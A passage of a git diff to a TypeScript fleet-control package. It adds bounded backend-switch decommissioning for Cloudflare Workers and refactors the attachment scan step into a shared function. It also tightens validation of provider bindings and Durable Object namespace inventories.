Reflect.get( + provider, + 'advanceSwitchDecommissionAttachmentScan', + provider, + ); + } catch { + throw new DecommissionAdvanceCapabilityError('attachment-scan'); + } + if (typeof scan !== 'function') return undefined; + let authority: unknown; + let receipt: unknown; + try { + authority = Reflect.get( + provider, + 'databaseExportReceiptAuthority', + provider, + ); + receipt = Reflect.get(provider, 'exportSwitchDatabaseReceipt', provider); + } catch { + throw new Error('database export receipt capability is malformed'); + } + const pair = strictSwitchReceiptPair(provider, authority, receipt, true); + if (!pair) return undefined; + return captureBackendSwitchDecommissionCapabilities(provider, { + scan: scan.bind(provider) as NonNullable< + BackendSwitchProvider['advanceSwitchDecommissionAttachmentScan'] + >, + receiptAuthority: pair.authority, + exportReceipt: pair.exportReceipt, + }); +} + +/** Asynchronous one-call compatibility drain for backend-switch teardown. */ +export async function decommissionBackendSwitch(options: { + readonly store: FleetStateStore; + readonly provider: BackendSwitchProvider; + readonly priorSpec: DeploymentSpec; + readonly targetSpec: DeploymentSpec; + readonly currentSpec?: DeploymentSpec; +}): Promise { + const rawCurrent = await options.store.get( + options.priorSpec.tenantTag, + options.priorSpec.environment, + ); + const structuralCurrent = rawCurrent + ? structuralBackendSwitchFleetRecordFromUnknown(rawCurrent) + : undefined; + const current = structuralCurrent?.carriesBackendSwitchAuthority + ? backendSwitchFleetRecordFromUnknown(structuralCurrent.record).record + : structuralCurrent?.record; + if (!current?.backendSwitchIntent) { + if (current) { + assertNoActiveDecommission(current, 'decommissionBackendSwitch'); + } + throw new Error('backend switch has no decommission snapshot'); + } + if (current.decommissionIntent?.state === 'complete') { + return assertBackendSwitchPriorSpecAuthority(current, options.priorSpec); + } + if ( + !current.decommissionIntent && + (BACKEND_SWITCH_SUBPHASES.indexOf(current.backendSwitchIntent.subphase) >= + BACKEND_SWITCH_SUBPHASES.indexOf('decommission-export-authorized') || + (current.backendSwitchIntent.decommissionSnapshot && + !completeSnapshotGroup( + current.backendSwitchIntent.decommissionSnapshot, + ) && + current.backend === 'plain-worker' && + !current.pendingArtifactVersion)) + ) { + return decommissionBackendSwitchLegacy(options); + } + const capabilities = current.decommissionIntent + ? captureBackendSwitchDecommissionCapabilities(options.provider) + : shouldUseBoundedCompatibility(options.provider); + if (!capabilities) return decommissionBackendSwitchLegacy(options); + let action: DecommissionAdvanceAction = { kind: 'start' }; + let restartedEntryBlock = false; + for (let index = 0; index < 10_000; index += 1) { + const result = await advanceBackendSwitchDecommissionInternal( + { + ...options, + action, + maxProviderRequests: 1_000, + randomUUID: nodeRandomUUID, + }, + index === 0 ? capabilities : undefined, + ); + if (result.status === 'complete') { + return result.result.record.backendSwitchIntent as BackendSwitchIntent; + } + if (result.status === 'blocked') { + if (action.kind === 'start' && !restartedEntryBlock) { + restartedEntryBlock = true; + action = { kind: 'restart-blocked', token: result.token }; + continue; + } + throw new Error( + 'bounded backend-switch decommission remains blocked by a Worker attachment', + ); + } + action = { kind: 'continue', token: result.token }; + } + throw new Error('bounded backend-switch decommission did not converge'); +} diff --git a/packages/fleet-control/src/cloudflare-client.ts b/packages/fleet-control/src/cloudflare-client.ts index c46de37b..51a653a7 100644 --- a/packages/fleet-control/src/cloudflare-client.ts +++ b/packages/fleet-control/src/cloudflare-client.ts @@ -106,6 +106,70 @@ const AUDIT_CONSUMER_SETTINGS = Object.freeze({ max_wait_time_ms: 5_000, }); const SDK_TRANSPORT_TIMEOUT_MS = 2_147_483_647; +const STRUCTURED_CLONE = structuredClone; +const UTF8_ENCODER = new TextEncoder(); +const MAX_DURABLE_OBJECT_NAMESPACE_ID_BYTES = 4_096; + +function malformedDurableObjectNamespaceInventory(): Error { + return new Error('Durable Object namespace ID inventory is malformed'); +} + +function canonicalDurableObjectNamespaceIds(value: unknown): readonly string[] { + let ids: string[]; + try { + if ( + !Array.isArray(value) || + Object.getPrototypeOf(value) !== Array.prototype + ) { + throw malformedDurableObjectNamespaceInventory(); + } + const lengthDescriptor = Object.getOwnPropertyDescriptor(value, 'length'); + const length = + lengthDescriptor && 'value' in lengthDescriptor + ? lengthDescriptor.value + : undefined; + if ( + !Number.isSafeInteger(length) || + length < 0 || + length > CLOUDFLARE_INVENTORY_BOUND || + lengthDescriptor?.writable !== true || + lengthDescriptor.enumerable !== false || + lengthDescriptor.configurable !== false + ) { + throw malformedDurableObjectNamespaceInventory(); + } + const keys = Reflect.ownKeys(value); + if ( + keys.length !== length + 1 || + !keys.includes('length') || + keys.some((key) => typeof key !== 'string') + ) { + throw malformedDurableObjectNamespaceInventory(); + } + ids = []; + for (let index = 0; index < length; index += 1) { + const descriptor = Object.getOwnPropertyDescriptor(value, String(index)); + if ( + !descriptor || + !('value' in descriptor) || + descriptor.writable !== true || + descriptor.enumerable !== true || + descriptor.configurable !== true || + typeof descriptor.value !== 'string' || + descriptor.value.length === 0 || + UTF8_ENCODER.encode(descriptor.value).byteLength > + MAX_DURABLE_OBJECT_NAMESPACE_ID_BYTES + ) { + throw malformedDurableObjectNamespaceInventory(); + } + ids.push(descriptor.value); + } + STRUCTURED_CLONE(value); + } catch { + throw malformedDurableObjectNamespaceInventory(); + } + return [...new Set(ids)].sort(); +} export interface CloudflareClientOptions { readonly accountId: string; @@ -2064,15 +2128,33 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { async hasDurableObjectNamespace(namespaceId: string): Promise { if (!namespaceId) throw new Error('namespaceId is required'); + return ( + (await this.existingDurableObjectNamespaceIds([namespaceId])).length > 0 + ); + } + + /** + * Returns the requested namespace IDs that still exist after one complete, + * bounded account inventory traversal. + */ + async existingDurableObjectNamespaceIds( + ids: readonly string[], + ): Promise { + const requestedIds = canonicalDurableObjectNamespaceIds(ids); + if (requestedIds.length === 0) return []; + const requested = new Set(requestedIds); + const existing = new Set(); for await (const namespace of this.#collectBounded( this.#client.durableObjects.namespaces.list({ account_id: this.#accountId, }), 'Durable Object namespace inventory', )) { - if (namespace.id === namespaceId) return true; + if (namespace.id && requested.has(namespace.id)) { + existing.add(namespace.id); + } } - return false; + return [...existing].sort(); } async listDurableObjectNamespaces( diff --git a/packages/fleet-control/src/decommission-advance.ts b/packages/fleet-control/src/decommission-advance.ts index a77df4ca..347cffe9 100644 --- a/packages/fleet-control/src/decommission-advance.ts +++ b/packages/fleet-control/src/decommission-advance.ts @@ -138,6 +138,9 @@ export type DecommissionAdvanceCapability = | 'attachment-scan' | 'database-residuals' | 'database-export-receipt' + | 'database-read' + | 'database-delete' + | 'pending-artifact-inspection' | 'application-r2-inspection' | 'application-r2-empty' | 'application-r2-delete'; @@ -150,6 +153,11 @@ const CAPABILITY_MESSAGES: Readonly< 'database-residuals': 'backend cannot inspect database deletion residuals', 'database-export-receipt': 'backend cannot write idempotent database export receipts', + 'database-read': 'backend cannot read the database for bounded decommission', + 'database-delete': + 'backend cannot delete the database for bounded decommission', + 'pending-artifact-inspection': + 'backend cannot inspect pending ordinary Worker authority for bounded decommission', 'application-r2-inspection': 'backend cannot inspect application R2 resources', 'application-r2-empty': 'backend cannot attest application R2 emptiness', @@ -494,6 +502,31 @@ type IntentTransition = lifecyclePhase?: NormalDecommissionLifecyclePhase; }>; +/** @internal State transition emitted by the shared bounded scan step. */ +export type DecommissionIntentTransition = IntentTransition; + +/** @internal Provider-neutral callbacks for one discover/verify scan chunk. */ +export interface DecommissionAttachmentScanStepOptions { + readonly intent: Extract< + DecommissionAdvanceIntent, + { readonly state: 'discover' | 'verify' } + >; + readonly scan: ( + input: import('./types.js').DecommissionAttachmentScanInput, + ) => Promise; + readonly maxProviderRequests: number; + readonly signal?: AbortSignal; + readonly persist: ( + transition: DecommissionIntentTransition, + ) => Promise; + readonly consumeMatchingVerify: ( + input: Readonly<{ + intent: Extract; + evidence: DecommissionAttachmentScanEvidence; + }>, + ) => Promise; +} + function nextIntent( intent: Exclude, timestamp: string, @@ -693,6 +726,113 @@ function purposeTarget(purpose: DecommissionAttachmentPurpose) { : ({ kind: 'd1', databaseId: purpose.databaseId } as const); } +/** @internal Advances one strict provider-neutral discover/verify scan step. */ +export async function advanceDecommissionAttachmentScanStep( + options: DecommissionAttachmentScanStepOptions, +): Promise { + const { intent } = options; + const raw = await options.scan({ + progress: intent.progress, + maxProviderRequests: options.maxProviderRequests, + signal: options.signal, + }); + let plain: unknown; + try { + plain = cloneBoundedPlainData(raw, { + maxDepth: RESULT_PLAIN_DATA_DEPTH_BOUND, + maxNodes: RESULT_PLAIN_DATA_NODE_BOUND, + maxScalarBytes: RESULT_PLAIN_DATA_BYTE_BOUND, + maxSerializedBytes: RESULT_PLAIN_DATA_BYTE_BOUND, + error: () => new Error(RESULT_ERROR), + }); + Reflect.apply(STRUCTURED_CLONE, undefined, [raw]); + } catch { + return malformedResult(); + } + if (!plain || typeof plain !== 'object' || Array.isArray(plain)) { + return malformedResult(); + } + const result = plain as Record; + if (result.status === 'drift') { + return options.persist({ + state: 'discover', + purpose: intent.purpose, + progress: initialWorkerAttachmentScan(purposeTarget(intent.purpose)), + generation: intent.generation + 1, + }); + } + assertReservedAttempts( + result.providerFetchAttemptsReserved, + options.maxProviderRequests, + ); + if (result.status === 'pending') { + let progress: DecommissionAttachmentProgress; + try { + progress = parseWorkerAttachmentScanProgress( + result.progress, + purposeTarget(intent.purpose), + ); + } catch { + return malformedResult(); + } + return options.persist( + intent.state === 'verify' + ? { + state: 'verify', + purpose: intent.purpose, + progress, + discoverEvidence: intent.discoverEvidence, + } + : { state: 'discover', purpose: intent.purpose, progress }, + ); + } + if (result.status === 'attached') { + return options.persist({ + state: 'blocked', + purpose: intent.purpose, + attachment: safeAttachment(result.attachment), + }); + } + if ( + result.status !== 'complete' || + typeof result.evidenceSha256 !== 'string' || + !Number.isSafeInteger(result.evidenceCount) + ) { + return malformedResult(); + } + const evidence = { + evidenceSha256: result.evidenceSha256, + evidenceCount: Number(result.evidenceCount), + }; + if ( + !/^[a-f0-9]{64}$/u.test(evidence.evidenceSha256) || + evidence.evidenceCount < 2 || + evidence.evidenceCount > WORKER_ATTACHMENT_EVIDENCE_BOUND + ) { + return malformedResult(); + } + if (intent.state === 'discover') { + return options.persist({ + state: 'verify', + purpose: intent.purpose, + progress: initialWorkerAttachmentScan(purposeTarget(intent.purpose)), + discoverEvidence: evidence, + }); + } + if ( + evidence.evidenceSha256 !== intent.discoverEvidence.evidenceSha256 || + evidence.evidenceCount !== intent.discoverEvidence.evidenceCount + ) { + return options.persist({ + state: 'discover', + purpose: intent.purpose, + progress: initialWorkerAttachmentScan(purposeTarget(intent.purpose)), + generation: intent.generation + 1, + }); + } + return options.consumeMatchingVerify({ intent, evidence }); +} + async function commitShellOnly( lease: FleetStateLease, record: FleetRecord, @@ -1466,144 +1606,44 @@ async function advanceAttachmentScan( options.backend.advanceDecommissionAttachmentScan, 'attachment-scan', ).bind(options.backend); - const raw: unknown = await scan({ - progress: intent.progress, + const clock = options.clock ?? Date.now; + return advanceDecommissionAttachmentScanStep({ + intent, + scan, maxProviderRequests: options.maxProviderRequests, signal: options.signal, - }); - let plain: unknown; - try { - plain = cloneBoundedPlainData(raw, { - maxDepth: RESULT_PLAIN_DATA_DEPTH_BOUND, - maxNodes: RESULT_PLAIN_DATA_NODE_BOUND, - maxScalarBytes: RESULT_PLAIN_DATA_BYTE_BOUND, - maxSerializedBytes: RESULT_PLAIN_DATA_BYTE_BOUND, - error: () => new Error(RESULT_ERROR), - }); - Reflect.apply(STRUCTURED_CLONE, undefined, [raw]); - } catch { - return malformedResult(); - } - if (!plain || typeof plain !== 'object' || Array.isArray(plain)) { - malformedResult(); - } - const result = plain as Record; - const clock = options.clock ?? Date.now; - if (result.status === 'drift') { - return commitShellOnly(lease, record, intent, clock, { - state: 'discover', - purpose: intent.purpose, - progress: initialWorkerAttachmentScan(purposeTarget(intent.purpose)), - generation: intent.generation + 1, - }); - } - assertReservedAttempts( - result.providerFetchAttemptsReserved, - options.maxProviderRequests, - ); - if (result.status === 'pending') { - let progress: DecommissionAttachmentProgress; - try { - progress = parseWorkerAttachmentScanProgress( - result.progress, - purposeTarget(intent.purpose), - ); - } catch { - return malformedResult(); - } - return commitShellOnly( - lease, - record, - intent, - clock, - intent.state === 'verify' - ? { - state: 'verify', - purpose: intent.purpose, - progress, - discoverEvidence: intent.discoverEvidence, - } - : { state: 'discover', purpose: intent.purpose, progress }, - ); - } - if (result.status === 'attached') { - return commitShellOnly(lease, record, intent, clock, { - state: 'blocked', - purpose: intent.purpose, - attachment: safeAttachment(result.attachment), - }); - } - if ( - result.status !== 'complete' || - typeof result.evidenceSha256 !== 'string' || - !Number.isSafeInteger(result.evidenceCount) - ) { - return malformedResult(); - } - const evidence = { - evidenceSha256: result.evidenceSha256, - evidenceCount: Number(result.evidenceCount), - }; - if ( - !/^[a-f0-9]{64}$/u.test(evidence.evidenceSha256) || - evidence.evidenceCount < 2 || - evidence.evidenceCount > WORKER_ATTACHMENT_EVIDENCE_BOUND - ) { - return malformedResult(); - } - if (intent.state === 'discover') { - let next: DecommissionAdvanceIntent; - try { - next = nextIntent(intent, nowIso(clock), { - state: 'verify', - purpose: intent.purpose, - progress: initialWorkerAttachmentScan(purposeTarget(intent.purpose)), - discoverEvidence: evidence, + persist: (transition) => + commitShellOnly(lease, record, intent, clock, transition), + consumeMatchingVerify: async ({ intent: verified }) => { + if (verified.purpose.kind !== 'application-r2-detach') { + return consumeDatabaseVerify(options, lease, record, verified, receipt); + } + await lease.assertOwned(); + const detached = await advanceApplicationR2Deletion({ + spec: options.spec, + resources: record.applicationResources ?? [], + backend: inspectionBackend as NonNullable, + fence: lease, + startResourceIndex: 0, + verifiedDetachmentResourceIndex: verified.purpose.resourceIndex, }); - next = normalizeIntent(next, record); - } catch { - return malformedResult(); - } - return writeIntent(lease, record, next); - } - if ( - evidence.evidenceSha256 !== intent.discoverEvidence.evidenceSha256 || - evidence.evidenceCount !== intent.discoverEvidence.evidenceCount - ) { - return commitShellOnly(lease, record, intent, clock, { - state: 'discover', - purpose: intent.purpose, - progress: initialWorkerAttachmentScan(purposeTarget(intent.purpose)), - generation: intent.generation + 1, - }); - } - if (intent.purpose.kind !== 'application-r2-detach') { - return consumeDatabaseVerify(options, lease, record, intent, receipt); - } - await lease.assertOwned(); - const detached = await advanceApplicationR2Deletion({ - spec: options.spec, - resources: record.applicationResources ?? [], - backend: inspectionBackend as NonNullable, - fence: lease, - startResourceIndex: 0, - verifiedDetachmentResourceIndex: intent.purpose.resourceIndex, + if ( + detached.status !== 'resource-advanced' || + detached.resourceIndex !== verified.purpose.resourceIndex || + detached.resources[detached.resourceIndex]?.state !== 'detached' + ) { + return malformedResult(); + } + return commitRecord( + lease, + record, + verified, + clock, + { applicationResources: detached.resources }, + { state: 'transitioning' }, + ); + }, }); - if ( - detached.status !== 'resource-advanced' || - detached.resourceIndex !== intent.purpose.resourceIndex || - detached.resources[detached.resourceIndex]?.state !== 'detached' - ) { - return malformedResult(); - } - return commitRecord( - lease, - record, - intent, - clock, - { applicationResources: detached.resources }, - { state: 'transitioning' }, - ); } function startRecord( diff --git a/packages/fleet-control/src/decommission-intent.ts b/packages/fleet-control/src/decommission-intent.ts index 29b845cd..c1ff3be0 100644 --- a/packages/fleet-control/src/decommission-intent.ts +++ b/packages/fleet-control/src/decommission-intent.ts @@ -7,6 +7,8 @@ import { } from './cloudflare-worker-attachment-scan-state.js'; import { cloneBoundedPlainData } from './strict-plain-data.js'; import type { + BackendSwitchIntent, + BackendSwitchSubphase, DecommissionAdvanceIntent, DecommissionAdvanceToken, DecommissionAdvanceTokenClassification, @@ -19,6 +21,7 @@ import type { FleetRecord, NormalDecommissionLifecyclePhase, } from './types.js'; +import { BACKEND_SWITCH_SUBPHASES } from './types.js'; export const DECOMMISSION_INTENT_BYTE_BOUND = 96 * 1024; const TOKEN_BYTE_BOUND = 1024; @@ -248,6 +251,114 @@ function migrationCarrier( return { digest: source.desiredSpecDigest, present: false }; } +/** @internal Maps exact switch progress to its coarse decommission lifecycle. */ +export function backendSwitchDecommissionLifecyclePhase( + subphase: BackendSwitchSubphase, + entryLifecycle: NormalDecommissionLifecyclePhase | 'decommissioned', +): NormalDecommissionLifecyclePhase | 'decommissioned' { + if (subphase === 'decommissioned') return 'decommissioned'; + if (subphase === 'decommission-traffic-authorized') return 'decommissioning'; + if ( + subphase === 'decommission-traffic-removed' || + subphase === 'decommission-candidate-authorized' || + subphase === 'decommission-candidate-removed' || + subphase === 'decommission-bridge-authorized' + ) { + return 'traffic-removed'; + } + if (subphase === 'decommission-bridge-removed') { + return 'platform-resources-deleted'; + } + if (subphase === 'decommission-application-r2-authorized') { + return 'application-resources-deleting'; + } + if ( + subphase === 'decommission-application-r2-removed' || + subphase === 'decommission-export-authorized' + ) { + return 'application-resources-deleted'; + } + if (subphase === 'decommission-exported') return 'database-exported'; + if (subphase === 'decommission-database-authorized') { + return 'database-deleting'; + } + return entryLifecycle; +} + +function applicationResourceProgressMatches( + source: FleetRecord, + intent: BackendSwitchIntent, +): boolean { + const progress = intent.applicationR2Progress; + if (!progress) { + return ( + BACKEND_SWITCH_SUBPHASES.indexOf(intent.subphase) < + BACKEND_SWITCH_SUBPHASES.indexOf('decommission-application-r2-authorized') + ); + } + return ( + JSON.stringify(source.applicationResources ?? []) === + JSON.stringify( + progress.map(({ resource, subphase }) => ({ + ...resource, + state: subphase, + })), + ) + ); +} + +function parseBackendSwitchMode( + mode: Record, + source: FleetRecord, + lifecyclePhase: NormalDecommissionLifecyclePhase | 'decommissioned', + stored: DecommissionRecordIdentity, +): DecommissionOperationIdentity { + exactKeys(mode, [ + 'kind', + 'priorSpecDigest', + 'targetSpecDigest', + 'decommissionSnapshotSha256', + 'backendSwitchSubphase', + ]); + const intent = source.backendSwitchIntent; + const current = intent?.subphase; + const entry = mode.backendSwitchSubphase; + if ( + mode.kind !== 'backend-switch' || + !intent || + !intent.decommissionSnapshot || + !intent.decommissionSnapshotSha256 || + !intent.decommissionEntrySubphase || + !sha256(mode.priorSpecDigest) || + mode.priorSpecDigest !== intent.prior.specDigest || + !sha256(mode.targetSpecDigest) || + mode.targetSpecDigest !== intent.targetSpecDigest || + !sha256(mode.decommissionSnapshotSha256) || + mode.decommissionSnapshotSha256 !== intent.decommissionSnapshotSha256 || + typeof entry !== 'string' || + !BACKEND_SWITCH_SUBPHASES.includes(entry as BackendSwitchSubphase) || + entry !== intent.decommissionEntrySubphase || + !current || + BACKEND_SWITCH_SUBPHASES.indexOf(current) < + BACKEND_SWITCH_SUBPHASES.indexOf(entry as BackendSwitchSubphase) || + backendSwitchDecommissionLifecyclePhase(current, lifecyclePhase) !== + lifecyclePhase || + !applicationResourceProgressMatches(source, intent) + ) { + return malformed(); + } + return { + record: stored, + mode: { + kind: 'backend-switch', + priorSpecDigest: mode.priorSpecDigest, + targetSpecDigest: mode.targetSpecDigest, + decommissionSnapshotSha256: mode.decommissionSnapshotSha256, + backendSwitchSubphase: entry as BackendSwitchSubphase, + }, + }; +} + function parseIdentity( value: unknown, source: FleetRecord, @@ -257,7 +368,9 @@ function parseIdentity( exactKeys(candidate, ['record', 'mode']); const stored = parseRecordIdentity(candidate.record, source); const mode = plainRecord(candidate.mode); - if (mode.kind === 'backend-switch') return malformed(); + if (mode.kind === 'backend-switch') { + return parseBackendSwitchMode(mode, source, lifecyclePhase, stored); + } exactKeys(mode, ['kind', 'requestedSpecDigest', 'entryLifecyclePhase']); if ( mode.kind !== 'normal' || @@ -471,7 +584,11 @@ function parseIntentCommon( }; } -function assertCompleteRecord(source: FleetRecord): void { +function assertCompleteRecord( + source: FleetRecord, + mode: DecommissionOperationIdentity['mode'], +): void { + const switchIntent = source.backendSwitchIntent; if ( source.phase !== 'decommissioned' || (source.applicationResources ?? []).some( @@ -487,7 +604,18 @@ function assertCompleteRecord(source: FleetRecord): void { source.rollbackRelease !== undefined || source.retiringRelease !== undefined || source.migrationIntent !== undefined || - source.backendSwitchIntent !== undefined + (mode.kind === 'normal' && switchIntent !== undefined) || + (mode.kind === 'backend-switch' && + (switchIntent?.subphase !== 'decommissioned' || + !switchIntent.databaseExport || + switchIntent.databaseExport.location !== + source.databaseExportLocation || + switchIntent.databaseExport.sha256 !== source.databaseExportSha256 || + switchIntent.databaseExport.size !== source.databaseExportSize || + !applicationResourceProgressMatches(source, switchIntent) || + (switchIntent.applicationR2Progress ?? []).some( + ({ subphase }) => subphase !== 'deleted', + ))) ) { malformed(); } @@ -535,14 +663,19 @@ export function decommissionAdvanceIntentFromUnknown( ) { return malformed(); } - assertCompleteRecord(source); + const identity = parseIdentity( + candidate.identity, + source, + 'decommissioned', + ); + assertCompleteRecord(source, identity.mode); return { version: 1, operationId: candidate.operationId, revision: candidate.revision, generation: candidate.generation, updatedAt: candidate.updatedAt, - identity: parseIdentity(candidate.identity, source, 'decommissioned'), + identity, databaseExportReceiptAuthority: candidate.databaseExportReceiptAuthority, lifecyclePhase: 'decommissioned', state: 'complete', diff --git a/packages/fleet-control/src/index.ts b/packages/fleet-control/src/index.ts index b7f17cdc..c92297dd 100644 --- a/packages/fleet-control/src/index.ts +++ b/packages/fleet-control/src/index.ts @@ -16,6 +16,8 @@ export { reserveApplicationR2Resources, } from './application-bindings.js'; export { + type AdvanceBackendSwitchDecommissionOptions, + advanceBackendSwitchDecommission, BACKEND_SWITCH_SUBPHASES, type BackendSwitchApplicationR2Progress, type BackendSwitchCandidateSnapshot, diff --git a/packages/fleet-control/src/provider-binding-inventory.ts b/packages/fleet-control/src/provider-binding-inventory.ts index 63ec2389..04e719e2 100644 --- a/packages/fleet-control/src/provider-binding-inventory.ts +++ b/packages/fleet-control/src/provider-binding-inventory.ts @@ -1,7 +1,6 @@ // SPDX-License-Identifier: Apache-2.0 import type { VersionCreateParams } from 'cloudflare/resources/workers/scripts/versions'; -import { readField, readStringField } from './json-field-reads.js'; import type { OrdinaryWorkerDeploymentVersion, PlainWorkerUploadIntent, @@ -16,8 +15,8 @@ export function providerBindingsToPlainWorkerShape( if (!binding || typeof binding !== 'object' || Array.isArray(binding)) { return { type: 'unsupported', name: undefined, issue: 'not-object' }; } - const name = readStringField(binding, 'name'); - const rawType = readField(binding, 'type'); + const name = ownDataStringField(binding, 'name'); + const rawType = ownDataField(binding, 'type'); if ( typeof rawType !== 'string' || rawType.length === 0 || @@ -32,46 +31,172 @@ export function providerBindingsToPlainWorkerShape( } switch (rawType) { case 'd1': { - const id = - readField(binding, 'id') ?? readField(binding, 'database_id'); + if ( + !hasExactSupportedBindingKeys(binding, { + required: ['type', 'name'], + optional: ['database_id', 'id'], + requireOneOf: ['database_id', 'id'], + }) + ) { + return malformedSupportedBinding(name, rawType); + } + const databaseId = validNonemptyString( + ownDataField(binding, 'database_id'), + ); + const legacyIdValue = ownDataField(binding, 'id'); + const legacyId = validNonemptyString(legacyIdValue); + const hasDatabaseId = Object.hasOwn(binding, 'database_id'); + const hasLegacyId = Object.hasOwn(binding, 'id'); + if ( + (hasDatabaseId && databaseId === undefined) || + (hasLegacyId && + legacyId === undefined && + !(hasDatabaseId && legacyIdValue === '')) || + (databaseId !== undefined && + legacyId !== undefined && + databaseId !== legacyId) + ) { + return malformedSupportedBinding(name, rawType); + } return { type: 'd1', name, - databaseId: typeof id === 'string' ? id : undefined, + databaseId: databaseId ?? legacyId, }; } - case 'durable_object_namespace': + case 'durable_object_namespace': { + if ( + !hasExactSupportedBindingKeys(binding, { + required: ['type', 'name', 'class_name', 'namespace_id'], + optional: ['script_name', 'dispatch_namespace', 'environment'], + }) || + Object.hasOwn(binding, 'environment') + ) { + return malformedSupportedBinding(name, rawType); + } + const className = validNonemptyString( + ownDataField(binding, 'class_name'), + ); + const namespaceId = validNonemptyString( + ownDataField(binding, 'namespace_id'), + ); + const scriptName = optionalNonemptyString(binding, 'script_name'); + const dispatchNamespace = optionalNonemptyString( + binding, + 'dispatch_namespace', + ); + if ( + className === undefined || + namespaceId === undefined || + scriptName === INVALID_OPTIONAL_STRING || + dispatchNamespace === INVALID_OPTIONAL_STRING + ) { + return malformedSupportedBinding(name, rawType); + } return { type: 'durable-object', name, - className: readStringField(binding, 'class_name'), - namespaceId: readStringField(binding, 'namespace_id'), + className, + namespaceId, + ...(scriptName === undefined ? {} : { scriptName }), + ...(dispatchNamespace === undefined ? {} : { dispatchNamespace }), }; - case 'service': + } + case 'service': { + if ( + !hasExactSupportedBindingKeys(binding, { + required: ['type', 'name', 'service'], + optional: ['entrypoint', 'environment'], + }) || + Object.hasOwn(binding, 'environment') + ) { + return malformedSupportedBinding(name, rawType); + } + const service = validNonemptyString(ownDataField(binding, 'service')); + const entrypoint = optionalNonemptyString(binding, 'entrypoint'); + if (service === undefined || entrypoint === INVALID_OPTIONAL_STRING) { + return malformedSupportedBinding(name, rawType); + } return { type: 'service', name, - service: readStringField(binding, 'service'), + service, + ...(entrypoint === undefined ? {} : { entrypoint }), }; - case 'queue': + } + case 'queue': { + if ( + !hasExactSupportedBindingKeys(binding, { + required: ['type', 'name', 'queue_name'], + }) + ) { + return malformedSupportedBinding(name, rawType); + } + const queueName = validNonemptyString( + ownDataField(binding, 'queue_name'), + ); + if (queueName === undefined) { + return malformedSupportedBinding(name, rawType); + } return { type: 'queue-producer', name, - queueName: readStringField(binding, 'queue_name'), + queueName, }; - case 'r2_bucket': + } + case 'r2_bucket': { + if ( + !hasExactSupportedBindingKeys(binding, { + required: ['type', 'name', 'bucket_name'], + optional: ['jurisdiction'], + }) + ) { + return malformedSupportedBinding(name, rawType); + } + const bucketName = validNonemptyString( + ownDataField(binding, 'bucket_name'), + ); + const jurisdictionValue = ownDataField(binding, 'jurisdiction'); + const jurisdiction = + jurisdictionValue === 'eu' || jurisdictionValue === 'fedramp' + ? jurisdictionValue + : undefined; + if ( + bucketName === undefined || + (Object.hasOwn(binding, 'jurisdiction') && jurisdiction === undefined) + ) { + return malformedSupportedBinding(name, rawType); + } return { type: 'r2-bucket', name, - bucketName: readStringField(binding, 'bucket_name'), + bucketName, + ...(jurisdiction === undefined ? {} : { jurisdiction }), }; - case 'plain_text': + } + case 'plain_text': { + if ( + !hasExactSupportedBindingKeys(binding, { + required: ['type', 'name', 'text'], + }) || + typeof ownDataField(binding, 'text') !== 'string' + ) { + return malformedSupportedBinding(name, rawType); + } return { type: 'plain-text', name, - value: readStringField(binding, 'text'), + value: ownDataStringField(binding, 'text'), }; + } case 'secret_text': + if ( + !hasExactSupportedBindingKeys(binding, { + required: ['type', 'name'], + }) + ) { + return malformedSupportedBinding(name, rawType); + } return { type: 'secret-text', name }; default: return { @@ -84,6 +209,78 @@ export function providerBindingsToPlainWorkerShape( }); } +type SupportedProviderBindingType = + | 'd1' + | 'durable_object_namespace' + | 'service' + | 'queue' + | 'r2_bucket' + | 'plain_text' + | 'secret_text'; + +function malformedSupportedBinding( + name: string | undefined, + providerType: SupportedProviderBindingType, +): PlainWorkerVersionBinding { + return { + type: 'unsupported', + name, + providerType, + issue: 'malformed-supported-binding', + }; +} + +function ownDataField(binding: object, field: string): unknown { + const descriptor = Object.getOwnPropertyDescriptor(binding, field); + return descriptor && 'value' in descriptor ? descriptor.value : undefined; +} + +function ownDataStringField( + binding: object, + field: string, +): string | undefined { + const value = ownDataField(binding, field); + return typeof value === 'string' ? value : undefined; +} + +function hasExactSupportedBindingKeys( + binding: object, + options: Readonly<{ + required: readonly string[]; + optional?: readonly string[]; + requireOneOf?: readonly string[]; + }>, +): boolean { + const keys = Reflect.ownKeys(binding); + if (keys.some((key) => typeof key !== 'string')) return false; + const allowed = new Set([...options.required, ...(options.optional ?? [])]); + const stringKeys = keys as string[]; + return ( + stringKeys.every((key) => allowed.has(key)) && + options.required.every((key) => stringKeys.includes(key)) && + (options.requireOneOf === undefined || + options.requireOneOf.some((key) => stringKeys.includes(key))) + ); +} + +function validNonemptyString(value: unknown): string | undefined { + return typeof value === 'string' && value.length > 0 && value === value.trim() + ? value + : undefined; +} + +const INVALID_OPTIONAL_STRING = Symbol('invalid optional string'); + +function optionalNonemptyString( + binding: object, + field: string, +): string | undefined | typeof INVALID_OPTIONAL_STRING { + if (!Object.hasOwn(binding, field)) return undefined; + return ( + validNonemptyString(ownDataField(binding, field)) ?? INVALID_OPTIONAL_STRING + ); +} + export function assertOrdinaryWorkerDeploymentVersions( versions: readonly OrdinaryWorkerDeploymentVersion[], ): void { @@ -282,12 +479,21 @@ export function plainWorkerBindingsToProviderShape( name: binding.name, namespace_id: binding.namespaceId, class_name: binding.className, + ...(binding.scriptName === undefined + ? {} + : { script_name: binding.scriptName }), + ...(binding.dispatchNamespace === undefined + ? {} + : { dispatch_namespace: binding.dispatchNamespace }), }; case 'service': return { type: 'service', name: binding.name, service: binding.service, + ...(binding.entrypoint === undefined + ? {} + : { entrypoint: binding.entrypoint }), }; case 'queue-producer': return { @@ -300,6 +506,9 @@ export function plainWorkerBindingsToProviderShape( type: 'r2_bucket', name: binding.name, bucket_name: binding.bucketName, + ...(binding.jurisdiction === undefined + ? {} + : { jurisdiction: binding.jurisdiction }), }; case 'plain-text': return { @@ -311,6 +520,7 @@ export function plainWorkerBindingsToProviderShape( return { type: 'secret_text', name: binding.name }; case 'unsupported': if (binding.issue === 'not-object') return undefined; + if (binding.issue === 'malformed-supported-binding') return undefined; // For `invalid-type` the reconstructed type changes no message (either spelling // fails the type check); for `unsupported-type` it preserves the pre-port // `unsupported or malformed` refusal instead of an index-based `no valid type`. @@ -327,6 +537,17 @@ export function assertSupportedPlainWorkerBindings( bindings: readonly PlainWorkerVersionBinding[], context: string, ): readonly ProviderBindingIdentity[] { + if ( + bindings.some( + (binding) => + binding.type === 'unsupported' && + binding.issue === 'malformed-supported-binding', + ) + ) { + throw new Error( + `${context} has an unsupported or malformed provider binding`, + ); + } return assertSupportedProviderBindings( 